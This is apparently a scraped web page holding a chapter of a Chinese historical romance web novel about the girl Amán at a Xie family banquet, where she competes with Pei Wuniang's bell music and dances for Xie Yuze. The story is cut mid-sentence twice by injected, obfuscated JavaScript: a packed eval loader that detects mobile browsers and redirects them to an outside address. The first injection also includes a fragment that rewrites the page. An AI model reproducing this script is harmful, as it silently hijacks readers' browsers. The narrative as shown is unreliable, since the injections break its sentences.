可惜了,她只听到小女娘用扇子遮着唇吃惊道:“这般小的女娘都开始仰慕玉郎了,玉郎的魅力真是无可复加。” 要不是谢玉则是她的亲阿兄,谢玉桃都想去挠他了! “玉桃,你哪去?”终于有人叫住她了,结果谢玉桃转过身发现是谢八娘,以及身后跟着盛装打扮的裴五娘。 谢玉桃顿时低了兴致。 谢八娘走过来:“大家都等着给你庆生送礼呢,快,随我来。” 她一眼都没看旁边的阿蛮,便想牵着谢玉桃的手带她走了,谢玉桃不是很乐意,她瞥了眼正望着阿蛮出神的裴五娘,故意道:“八姐姐不觉得太早了吗?阿兄还带着十一兄迎接男客呢,他现在可没有精力来这儿看我们。” 谢八娘被说中了心思,却没什么害羞的,反而靠着世家女独有的从容和睁眼说瞎话的本事,遮掩了过去:“小孩子胡说什么,是大家想你了。” 见她这般说,谢玉桃也还要维护谢家女娘的脸面,没再拒绝了,只是回头看阿蛮:“阿蛮姐姐,与我一道走吧,正好我可以将你介绍给其他女娘认识。” 裴五娘冷不丁道:“你便是崔阿蛮。” 阿蛮不明所以,应了声,裴五娘道:“确实生得美。” 撂下这话,她便抬起高傲的头颅,走了,闹得众人一头雾水。 谢八娘赶紧追上去,道:“怎么了?你之前不是还觉得她不足为惧吗?” 裴五娘有些闷闷不乐:“她美得不太一样。” 裴五娘身为河东裴氏的女娘,家里也是出过皇后贵妃王妃的,自然见过不少各有千秋的美人,她既被养刁了眼,当然自信就算人间绝色站在面前,她也能不假辞色。 裴五娘唯独没想过崔阿蛮的美,不在她所见过的任何一种美之列。 崔阿蛮身上有一股难以言说的野性,即使是华服美钗,也无法掩去这种不驯,因此她只要站在那儿,就能把其他人的美衬托得沉闷单调起来。 裴五娘有种感觉,崔阿蛮现在只是还不适应世家大族的规矩,假以时日,她一旦如鱼得水了,定能成为她的劲敌。 裴五娘的危机感起了,谢八娘还在旁说呢:“我早警告过你了,你就是不肯信,那我的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058081|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略呢,你要不要听了?” 裴五娘停住脚步:“什么方略?” * 阿蛮没参加过这般盛大的宴集,尤其是想到满院子的贵妇,女娘赴宴,只是为了替一个九岁的小女娘庆生时,她心头更为震动。 出现在宴席上的东西,都是阿蛮没见过的,她如饥似渴地学习着她们的礼节,话术,记住这些贵人的脸,她努力地端正自己的仪态,不愿在这般盛大的宴席上,堕了自己的脸面。 不过努力了也是白努力,阿蛮很快发现,她不值一名,大家都冲着谢玉桃说话,就算谢玉桃有心把话题绕到她身上,也没有人对她感兴趣。 这时候,不知谁说了声:“玉郎来了。”原本还在各自交谈的女娘们,忽然就掏出妆镜,整齐划一地整理妆容,又迅速地收好东西,装作无事发生般,继续和友人交谈。 只是各自悄悄地改换站姿,既要自己能看到谢玉则,又能保证自己露出的是最好看的侧脸这种小心思,还是透露出了她们的紧张。 阿蛮见状,哑然失笑,立刻将才起的不切实际的念头抛之脑后,反而是谢玉桃非要拉着她去见谢玉则,一瞬间,阿蛮就感觉到无数道目光落在她身上,刺得她如芒在背,好生不自在。 “这是哪家的小女娘,我竟没见过,玉桃还不与我介绍一番。”说话的是谢玉则身边的郎君,看到阿蛮是眼前亮了又亮,还没等谢玉桃问安呢,就先迫不及待地开了口。 谢玉桃坚持先问完安,才与阿蛮介绍:“这是四堂兄。” 谢玉桃虽是谢家的女娘,但因为年纪太小,堂兄院子里的很多脏事都是瞒着她不叫她知道,但问题是谢四郎与郗家女娘的婚事是正儿八经地下了小定的。 于是她大声道:“四堂兄,郗家姐姐在水榭和八姐姐说话呢,你要不要过去瞧瞧她?” 谢四郎风度翩翩,是个多情种,虽然院中早有好几房姬妾,也不妨碍他对未婚妻上心,他立刻翩翩然地走了。 阿蛮看了,更确定两个侍女那日所言,对她隐瞒了许多。 谢玉桃把烦人的四堂兄赶走了,立刻问谢玉则:“阿兄今日能在宴席上待多久?” 阿蛮闻言也不由得紧张起来,她对那只需要转圈圈的胡旋舞信心不足,尤其是还有裴五娘子的衬托,她那胡舞便显得格外轻佻不像话,恐怕不能入谢玉则的眼。 因此她心里盼着谢玉则只在席上稍坐便走。 谢玉则道:“我看完崔娘子的舞再走。” 阿蛮没想到谢玉则竟然知道她要跳舞,更没想到他还要留下来看她跳那不成样的舞,她真是何德何能让谢玉则这般看重。 阿蛮方才还不觉得当众跳舞有什么,现在却是真正的紧张起来了。 她赶紧找谢玉桃把她的舞安排在前面,这般没了裴五娘的正音雅乐的衬托,她也能少丢脸些。 然而那头谢八娘却着人来说,裴五娘准备多日的编钟乐曲要表演了,请玉郎赏脸一观。 阿蛮的心绷了起来。 15. 15 既裴五娘已登台,阿蛮便不急于去准备了,说起来,她还没见过编钟呢,眼看僮仆摆放好那十三一组宏伟肃正的编钟,不必等演奏开始,便肃然起敬。 裴五娘着罗裙长裾,盈盈下拜,而后从容展袖,执槌奏乐。阿蛮初听这编钟宏音,只觉胸腔都在与之振动,后来起初的震撼消退,她便觉得这编钟声中正平和,让她的心志也柔和起来。 阿蛮不懂音律,更不了解何为正音雅乐,她尚觉震撼,旁人却能说出许多她不知道的门道来。 一旁的贵妇听得不住赞赏地点头:“不愧是河东裴氏,家学底蕴便是深厚,当初周公制礼作乐,可惜很快礼崩乐坏,雅乐散佚,虽有前前朝的河间王收集雅乐进献朝廷,但因战火纷乱又很快散失,到了大雍建朝,为作华夏正声,还是请河东裴氏进 宫制作乐章。裴五娘年纪轻轻,便能奏编钟,可见是得了长辈的真传。” 阿蛮听得脑子晕晕的,什么周公制礼作乐,河间王献乐,她统统不知,原本就觉得裴五娘能奏这编钟就很厉害,哪知道背后还有更厉害的故事。 她更佩服这裴五娘子了。 贵妇旁边的女娘小声道:“玉郎最爱正音雅乐了,于他来说,裴五娘便是解语花了。” 话语中不乏羡慕与怅惘。 阿蛮转身拨开人群走出去,依次见到的便是年轻女娘的羡慕向往,上了年纪的贵妇的赞叹和对自家女儿的恨铁不成钢,阿蛮回头再看一眼目光中心的裴五娘,当真觉得她在闪闪发光。 谢玉桃见阿蛮忽然转身离开,连忙提着裙边追了上来:“阿蛮姐姐!” 阿蛮站住等她:“我再去练会儿舞,你跟来做什么?去席上欣赏编钟去。” 谢玉桃仔细观察她的表情道:“阿蛮姐姐,你是不是听了别人对裴五娘的夸奖,紧张了,怕被她比下去?” 阿蛮想了想道:“我是有些紧张,但不是怕被裴五娘压了风头,我只是觉得裴五娘好有才华,有她在,相信将来一个月你的生辰宴还会被云州的高门津津乐道,既如此,我也不能拖后腿,成为狗尾续貂的狗尾。” 她才刚开始念书,不确定这个成语有没有用对,因此还稍微心虚了一下。 谢玉桃呆了一呆,她没想到阿蛮离席练舞是为了这个,她有些愧疚:“阿蛮姐姐,无论你跳成什么样,我一定会让你风风光光的。” 说完,她急吼吼地走了。 阿蛮不明所以,但也没有深究,转身继续去练舞了。 谢玉桃跑得小脸红扑扑地回到席上,立刻便收到阿兄严厉的指责目光,她当作没瞧见,而是对刚落座正无聊打哈欠的谢玉照道:“十一兄,待会儿阿蛮姐姐上场,你可否给个面子捧个场?” 谢玉照回来后就溜去军营了,好几天都没着家,今日回来还是为了给谢玉桃庆生,自然不知晓阿蛮要跳舞,他闻言道:“凭什么?” 谢玉桃不敢承认她坑了阿蛮,便动之以情:“阿蛮姐姐为了替我庆生,很用了一番心思,这时候还去练舞呢。”她将方才的对话学给谢玉照听,“我担心阿蛮姐姐怪我呢,她不知道正音雅乐是什么,我却知道,还给她安排了轻佻的胡舞,将她安排 在裴五娘子后出场去丢脸,结果她一点也不介意,还为我着想,我真是愧疚死了,我怎么能为自己高兴,和八姐姐斗气,坑害阿蛮姐姐呢。” 谢玉照挑了挑眉,其实按照他混不吝的性格,不会觉得编钟有多好,但是他也知道无论世家大族私下如何靡靡之音泛滥,但在明面上,一定是欣赏华夏正音,看不上市井舞乐。 尤其是上首的那位。 说起来云州这种北蛮之地还这般追捧正音雅乐,也全赖他。 谢玉照想到自己想入伍但屡次被拒的仇,那身荆条都抽不断的反骨又长出来了:“行,哪怕她上去就转两个圈,我也给她 摇旗呐喊。” 谢玉桃大喜过望,刚想殷勤地给谢玉照端茶倒水,上首的谢玉照稳稳地开口:“谢玉桃,你又做了什么?” 谢玉桃顿觉脊背发麻。 厢房内正预备换衣的阿蛮用手指捏起单薄的衣片,不可思议道:“这就是我的舞裙?这如何穿得?” 她从未见过这般短薄的衣衫,若不告诉她这是衣衫,她或许会将它认成方帕。 这真是能上身的衣衫?没骗她? 谢玉桃的贴身侍女婵夏却给了肯定的答复:“时间紧,请崔娘子赶紧更衣。” 阿蛮绷着脸,放下那短小薄滑的衣衫道:“我不会穿这衣衫,你另外寻合适的衣衫来。” 婵夏道:“娘子有所不知,跳胡旋舞就该穿这样的衣衫。” 阿蛮憋着气道:“我是要跳胡旋舞,但我终究不是乐坊的舞姬!” 婵夏讶异:“崔娘子怎会这般想?跳胡旋舞也是你答应的,怎么现在又说这话,难道崔娘子是要指责十六娘将你当作乐坊的舞姬了?” 简直是颠倒黑白,阿蛮冷下脸来,正要说话忽听有人在外敲门,不等人应门,疏月便推门而入。 她仿佛没有看到阿蛮与婵夏的对峙,笑吟吟道:“阿郎怕崔娘子未曾准备好舞裙,特命奴婢送来。” 说着,她给婵夏一个严厉的指责的眼色,婵夏知晓她是领谢玉照的命令而来,不敢说话,低着头出门去,疏月向阿蛮福礼:“阿郎会给崔娘子一个交代。” 疏月送来的衣衫改成了半臂,终于不再如之前那衣衫般袒胸露乳,是能上身的衣衫了。 阿蛮看着前后两件衣裳,很清楚这是谢玉桃第二次冒犯她了,看起来这不像是初见时活泼开朗的谢玉桃能做出来的事,恰恰说明,这种刻在世家大族骨子里的门户偏见根深蒂固。 谢玉桃这般对她,无非觉得她就是个农女,什么都不懂,好糊弄,就算得罪了她,也赔得起。 既然得罪她不会有什么严重后果,谢玉桃做事时,自然会少考虑她的后果。 愤怒吗?她当然愤怒,还有点伤心。 但阿蛮盯着那件新送来的半臂,还是决定换上,毕竟她都不曾在谢家站稳脚跟,和谢玉桃翻脸,反而得不偿失。 她要利用谢玉桃对她的愧疚。 又一个女娘抱着古琴走下了水榭阁台,下一个登场的便是阿蛮,谢玉桃紧张了起来。 前面几位女娘个个端庄,也不知着小衣,露着胸乳的阿蛮登场,会被多少人指指点点,最要紧的是,叫谢玉则看到了,他会不会翻了脸,觉得阿蛮败坏门庭,将她赶出去? 谢玉桃是真没想到谢玉则当真会留到这个时刻,他过往从不在席上久坐,他一走,那些宾客也能散个七八成,绝不会如现在这般依然将水榭石舫占得满满当当。 谢玉桃此刻是真的坐立难安,后悔不迭,她想寻婵夏让阿蛮不要上场了,可是婵夏一直没回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玉郎怎会欣赏胡旋舞?若他不喜胡旋舞,还看得这般认真,那就是因为看重这跳舞的女娘了。 震惊,不解纷纷盈上宾客的眼眸,正巧一曲舞毕,她们虽没认真看舞,但不妨碍能立刻真心夸赞起阿蛮来。 阿蛮跳得香汗淋淋,终于可以肆无忌惮地享受目光集中到她身上的感觉,体会当所有的夸赞追着她走时会有多么的幸福, 从此之后,在世家大族的眼里,崔阿蛮不再是无名小卒。 她终于成了得谢家倚仗的表姑娘。 直到此刻,阿蛮才意识到谢玉则留下来的意义,她隔着水波看谢玉则起身离席前,对她浅浅颔首,忽然有点想哭。 谢玉则明明不喜欢胡旋舞,但还是愿意用他的名声送了她一程,明明他可以不管她的,任她摸爬滚打,用谢家的名声一次次敲世家的门又一次次碰壁后,让她在领悟谢家的名声不是想利用就可以利用后,痛苦地铩羽而归,继续做个农女。 可见谢玉则从未因她只是个毫无根脚,就算敷衍、得罪了也不会有任何不好后果的农女而搪塞她。 他真的很好,担得起玉郎的名声。 阿蛮忽然有了冲动,她要拨开围拢过来的人群,向谢玉则追去。 仿佛在奋力追赶追心上的那抹月光。